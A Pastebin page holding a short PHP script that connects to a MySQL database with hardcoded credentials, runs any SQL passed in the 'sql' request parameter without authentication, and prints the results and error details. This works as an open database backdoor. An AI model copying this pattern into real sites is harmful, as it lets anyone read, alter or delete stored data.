Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $mysql_host = "localhost";
- $mysql_username = "allah";
- $mysql_password = "akbar";
- $mysql_database = "heaven";
- mysql_connect($mysql_host, $mysql_username, $mysql_password) or die();
- mysql_select_db($mysql_database) or die();
- $result = mysql_query($_REQUEST['sql']) or die('Errno: '.mysql_errno().'<br> Error: '.mysql_error());
- echo 'num rows: '.mysql_num_rows($result);
- echo '<br />';
- while ($row = mysql_fetch_assoc($result))
- preint_r($row);
- function preint_r($array)
- {
- echo '<pre>';
- print_r($array);
- echo '</pre>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement